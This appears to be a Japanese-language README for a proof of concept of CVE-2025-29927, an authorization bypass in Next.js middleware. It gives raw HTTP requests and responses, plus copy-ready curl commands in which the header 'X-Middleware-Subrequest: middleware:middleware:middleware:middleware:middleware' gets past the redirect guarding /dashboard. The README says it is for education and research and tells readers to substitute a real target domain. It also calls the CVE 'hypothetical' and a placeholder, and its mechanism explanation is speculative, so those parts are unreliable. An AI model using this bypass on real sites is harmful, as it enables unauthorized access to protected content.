
Next.jsミドルウェアにおける認可バイパス
このリポジトリは、CVE-2025-29927(Webアプリケーションにおけるミドルウェア処理の欠陥を示す仮想的な脆弱性)の Proof of Concept(PoC)です。このPoCは、特別に細工されたHTTPリクエストがリダイレクションロジックをバイパスし、ダッシュボードなどの制限されたコンテンツにアクセスする方法を示しています。このプロジェクトは教育目的およびセキュリティ研究目的のみを意図しています。
免責事項: このPoCは、明示的な許可を得た管理環境での使用を目的としています。あなたが所有していない、またはテストの同意を得ていないシステムに対する無許可のテストは違法であり、非倫理的です。
このPoCを実施するには以下のものが必要です:
abc.com)。curl(curl.se)、Burp Suite(portswigger.net/burp)、またはカスタムスクリプトなどのHTTPクライアントツール。CVE-2025-29927(プレースホルダー。利用可能になった時点で公式のCVE詳細に置き換えてください)は、ミドルウェアの設定ミスまたはロジックの欠陥を悪用するものと思われます。このPoCは、カスタムヘッダー(X-Middleware-Subrequest)を追加することでサーバーの動作が変更され、リダイレクション機構をバイパスして制限されたコンテンツにアクセスできることを示しています。これは、ミドルウェア(例: NginxとNext.js)がサブリクエストを処理したりヘッダーを検証したりする方法に関連している可能性があります。
ミドルウェアの脆弱性の詳細については、OWASP ミドルウェアセキュリティ を参照してください。
PoCは2つのステップで構成されます: 初期の失敗するリクエストと、修正された成功するリクエストです。各ステップにはHTTPリクエスト、レスポンス、および詳細な説明が含まれます。
このステップでは、追加のヘッダーなしで /dashboard エンドポイントにアクセスした場合のデフォルトのサーバー動作を示します。
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

GET /dashboard: ダッシュボードエンドポイントへのアクセスを試みます。User-Agent や Accept などの標準ヘッダーは、一般的なブラウザのリクエストを模倣します。307 Temporary Redirect: サーバーがクライアントをリダイレクトしていることを示します。おそらく認証、認可、またはルーティングロジック(例: ログインページへのリダイレクト)によるものです。Server: nginx/1.14.1: Webサーバーソフトウェアを特定します。/dashboard への直接アクセスを防ぐ保護メカニズムを示唆しています。このレスポンスに Location ヘッダーがない(おそらく簡略化のため省略)ことは、リダイレクト先が別の場所にあることを意味します。このステップでは、カスタムヘッダーを導入することでリダイレクションをバイパスし、ダッシュボードコンテンツを正常に取得します。
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware: 元のリクエストに追加されたカスタムヘッダー。middleware が繰り返される文字列は、ミドルウェアスタックの解析または検証の欠陥を悪用する可能性があります。200 OK: ダッシュボードコンテンツへのアクセスが成功したことを確認します。Content-Type: text/html; charset=utf-8: HTMLレスポンスを示し、おそらくダッシュボードページです。X-Powered-By: Next.js: アプリケーションがNext.js(ルーティングにミドルウェアを頻繁に使用するReactフレームワーク)を使用していることを示唆します。Cache-Control: キャッシュを防止します。動的でユーザー固有のコンテンツでは一般的です。Content-Length: 30174: レスポンスボディのサイズ(バイト単位)。X-Middleware-Subrequest ヘッダーは、ミドルウェアに対してリクエストを正当なサブリクエストとして扱わせ、リダイレクトロジックをバイパスさせている可能性があります。これは、サブリクエストの検証または処理方法の脆弱性を示している可能性があります。以下の手順に従って、curl を使用してPoCを再現します。
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
期待される出力: 307 Temporary Redirect レスポンス。
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
期待される出力: ダッシュボードコンテンツを含む 200 OK レスポンス。
注: 許可された環境でテストする場合は、abc.com を実際のターゲットドメインに置き換えてください。
curl を使用するためのガイド。このプロジェクトはMITライセンスの下でライセンスされています。詳細については、LICENSE ファイルを参照してください。